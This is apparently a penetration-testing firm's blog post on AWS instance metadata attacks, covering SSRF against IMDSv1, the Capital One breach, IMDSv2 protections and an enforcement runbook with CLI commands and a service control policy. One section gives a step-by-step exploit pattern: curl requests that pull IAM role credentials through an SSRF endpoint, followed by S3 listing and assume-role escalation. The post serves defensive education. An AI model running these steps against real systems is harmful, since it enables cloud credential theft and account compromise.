Valtik Studios
Back to blog
AWScriticalUpdated 2026-04-17orig. 2026-03-3115 min

AWS IMDS Attacks: SSRF to Role Credentials to Full Account Compromise

The Capital One breach ($190M settlement) exploited a textbook IMDSv1 SSRF attack to exfiltrate 106 million customer records. A deep dive into AWS Instance Metadata Service security, IMDSv1 vs v2, SSRF exploitation, enforcement SCPs, and the cloud penetration testing runbook we use on Valtik engagements.

Phillip (Tre) Bucchi headshot
Phillip (Tre) Bucchi·Founder, Valtik Studios. Penetration Tester

Founder of Valtik Studios. Penetration tester. Based in Connecticut, serving US mid-market.

The AWS vuln that built a career for every cloud pentester

When I started doing cloud pentesting, IMDSv1 SSRF was my bread and butter. First client of a new engagement, I'd probe the web app for a URL-fetching feature, and within hours I'd have access to the EC2 instance's IAM role credentials. From there, lateral movement to S3, DynamoDB, RDS, whatever the role was allowed to access. Which in 2018-2020 was usually "way too much."

AWS shipped IMDSv2 in 2019 with the expectation that customers would upgrade. Most didn't. We still find IMDSv1-enabled EC2 instances on almost every AWS engagement in 2026. The attack path is identical to what it was five years ago. Capital One was breached this way in 2019, $80M+ in costs, federal indictments, the whole tour. And organizations are still running IMDSv1.

This post is the deep dive. What IMDS is, how IMDSv1 SSRF attacks work step by step, how IMDSv2 protects, where IMDSv2 still fails, and how to enforce the upgrade across an AWS org.

The deep dive. What IMDS is, how IMDSv1 SSRF attacks work step by step, how IMDSv2 is supposed to protect, where IMDSv2 still fails. And how to enforce the upgrade across an AWS org.

What IMDS is

Every EC2 instance runs a local HTTP service at 169.254.169.254 that exposes instance metadata. The IAM role, region, AMI ID, user-data script, security groups, tags. The address is link-local, meaning only the instance can reach it (and theoretically only processes running on it).

The service is useful. Applications running on EC2 retrieve their IAM role credentials from it to call other AWS APIs. This pattern is everywhere in cloud-native applications.

What IMDS exposes.

  • /latest/meta-data/instance-id
  • /latest/meta-data/iam/security-credentials/{role-name} ← the IAM credentials
  • /latest/meta-data/ami-id
  • /latest/meta-data/security-groups
  • /latest/user-data ← often contains secrets, bootstrap scripts, configuration
  • /latest/dynamic/instance-identity/document

The IAM credentials endpoint is the critical one. It returns short-lived AWS credentials (AccessKeyId, SecretAccessKey, Token) that are scoped to the IAM role attached to the instance. Anyone who can reach this endpoint becomes that IAM role.

The IMDSv1 SSRF attack

IMDSv1 requires no authentication. Any HTTP client on the instance can retrieve the credentials.

The attack pattern: find a server-side request forgery vulnerability in the application running on EC2. Use it to fetch http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}. The response contains IAM credentials. Exfiltrate. Use the credentials to query S3, enumerate RDS, assume-role to other accounts, and exfiltrate data.

The canonical exploit pattern:

# Step 1: find an SSRF vuln in the app
# Common sources:
# - image processing (URL fetch to thumbnail, OCR, watermark)
# - webhook handlers that fetch user-provided URLs
# - PDF generators that render from URL
# - URL shorteners
# - RSS readers, OpenGraph image fetch

# Step 2: retrieve IAM role name
curl http://target-app/vulnerable-endpoint?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Step 3: retrieve credentials for that role
curl http://target-app/vulnerable-endpoint?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role-name

# Response contains:
{
  "Code": "Success",
  "LastUpdated": "2026-04-16T12:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-04-16T18:00:00Z"
}

# Step 4: use credentials
AWS_ACCESS_KEY_ID=... \\
AWS_SECRET_ACCESS_KEY=... \\
AWS_SESSION_TOKEN=... \\
aws s3 ls

# Step 5: escalate
aws iam list-attached-role-policies --role-name app-role-name
aws sts assume-role --role-arn arn:aws:iam::...:role/AdminRole --role-session-name pwn

Capital One, 2019: the $190 million example

July 2019. Former AWS employee Paige Thompson (alias "erratic") exploited an SSRF vulnerability in a Capital One web application firewall to reach IMDSv1. She retrieved IAM credentials for the WAF's role, which had overly permissive S3 access. She exfiltrated customer data from 100 million US and 6 million Canadian Capital One accounts. Names, addresses, credit scores, Social Security numbers, bank account numbers.

Capital One paid:

  • $80 million OCC fine
  • $190 million class-action settlement
  • Unspecified regulatory fines

Paige Thompson was convicted in 2022.

The technical root cause was exactly the pattern above. An SSRF bug in the Apache mod_security WAF reached IMDSv1, retrieved credentials, and allowed S3 bucket exfiltration.

The larger lesson: the WAF had overly permissive IAM policies, not the application. When an attacker got the WAF's role, they got enough access to read every S3 bucket in the account. Every cloud security audit should check for over-privileged infrastructure roles, not application roles.

IMDSv2: session-based protection

Announced late 2019, enforceable since 2023. IMDSv2 adds a session token requirement.

Flow:

  1. Client sends a PUT to /latest/api/token with a TTL header. Receives a session token.
  2. Client sends subsequent metadata requests with the token in X-aws-ec2-metadata-token header.

Why this defeats SSRF. Most SSRF vulnerabilities are GET-only. They can fetch URLs but can't send PUT with custom headers. The session token acquisition requires the first PUT, which most SSRF classes can't issue. Even if the attacker can trigger a GET to the token endpoint, they can't capture the response to use in the following request.

The TTL hop-count mechanism. IMDSv2 enforces a response TTL. Each IP hop decrements the TTL. When the TTL reaches zero, the response is dropped. Most SSRF attacks route responses through an application proxy, which decrements the TTL. By the time the attacker receives it, the response is gone.

The protocol restriction. IMDSv2 refuses to serve if the client uses HTTP/0.9. And also refuses certain bizarre header configurations that proxies sometimes generate.

IMDSv2 doesn't protect against:

  • Full RCE on the instance (attacker runs shell commands directly, issues the PUT themselves)
  • Attacks via the application's own code that makes signed requests (the application's SDK clients adapt to IMDSv2)
  • Certain specific SSRF classes that can send PUT and capture response (rare)
  • Misconfigured instances where IMDSv2 is allowed but IMDSv1 is also still allowed (optional mode)

The "optional" vs "required" gap

IMDSv2 has three modes:

  • Optional (default for instances launched before enforcement). IMDSv1 and v2 both work. SSRF attacks still work via IMDSv1.
  • Required. Only v2 works. v1 is refused. This is the secure setting.
  • Disabled. Neither version is reachable. Only acceptable if your application doesn't use IAM roles.

As of April 2026, AWS estimates 25-35% of all running EC2 instances in customer accounts are still on "optional" mode. Every one of those instances is still vulnerable to IMDSv1 SSRF.

New instances launched in the last year. AWS updated the default to "required" for newly launched EC2 instances. But the account still has to have made the global setting change, or every new instance has to explicitly specify required mode. The global setting is per-region per-account and is NOT on by default.

The check-and-enforce runbook

For any AWS penetration testing or cloud security audit, the IMDS check comes down to:

1. Enumerate every EC2 instance and its IMDS mode.

aws ec2 describe-instances \\
  --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens,MetadataOptions.HttpEndpoint]' \\
  --output table

HttpTokens = "required" means IMDSv2-only. "optional" means IMDSv1 still works.

2. Enable IMDSv2 required across the account.

aws ec2 modify-instance-metadata-defaults \\
  --http-tokens required \\
  --http-put-response-hop-limit 1 \\
  --http-endpoint enabled

This sets the account-region default. Any future instance without explicit metadata settings gets v2 required.

3. Force existing instances to v2 required.

# Per-instance
aws ec2 modify-instance-metadata-options \\
  --instance-id i-xxxxx \\
  --http-tokens required \\
  --http-put-response-hop-limit 1 \\
  --http-endpoint enabled

4. Prevent regressions via SCP.

Apply an Organizations SCP that denies RunInstances and ModifyInstanceMetadataOptions when HttpTokens isn't "required":

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": [
        "ec2:RunInstances",
        "ec2:ModifyInstanceMetadataOptions"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "ec2:MetadataHttpTokens": "required"
        }
      }
    }
  ]
}

5. Set hop-limit to 1.

--http-put-response-hop-limit 1

This means the response can only travel one network hop. Container-based applications running in Docker on EC2 have this as a common exposure. By default a container can reach IMDS but with the default hop limit of 1, it may fail depending on networking mode. Setting hop-limit to 1 explicitly ensures containers can't reach IMDS unless they use host networking.

ECS tasks and Fargate. Have their own metadata service at 169.254.170.2/v2/credentials. Different endpoint, same class of attacks. Same restriction patterns apply via ECS-level task-role metadata configuration.

EKS / Kubernetes IRSA. Workloads on EKS can use IAM Roles for Service Accounts. Each pod gets its own role via OIDC federation. The pod can still reach IMDS unless the hop limit is set correctly. Best practice. Set IMDSv2 required, hop limit 1, and use IRSA.

Spot instances and auto-scaling. Launch templates have their own metadata options. Make sure the template specifies required mode.

Cloud-init user-data. Stored in IMDS at /latest/user-data. Often contains initial secrets, bootstrap scripts, and cloudformation template references. Treat user-data as sensitive. Remove secrets from user-data, use Systems Manager Parameter Store with IAM policy instead.

What this means for Valtik audits

Every AWS cloud security audit we run includes the IMDS check as one of the first probes. The results are almost always:

  • 20-40% of instances still on IMDSv1 optional mode
  • Overly permissive instance profile IAM roles
  • User-data containing secrets
  • No SCP enforcement

Each of those is a path to the next Capital One. If your AWS environment hasn't been audited against the IMDS and IAM role privilege boundary checks above, book a Valtik cloud security audit.

Sources

  1. AWS IMDSv2 Documentation
  2. Capital One Breach Technical Analysis
  3. Capital One OCC Fine Announcement
  4. United States v. Paige Thompson Conviction
  5. AWS Security Best Practices for EC2
  6. Service Control Policy Examples
  7. IRSA for EKS
awscloud securityssrfiampenetration testingvulnerability assessmentapplication securityresearch

Want us to check your AWS setup?

Our scanner detects this exact misconfiguration. plus dozens more across 38 platforms. Free website check available, no commitment required.

Get new research in your inbox
No spam. No newsletter filler. Only new posts as they publish.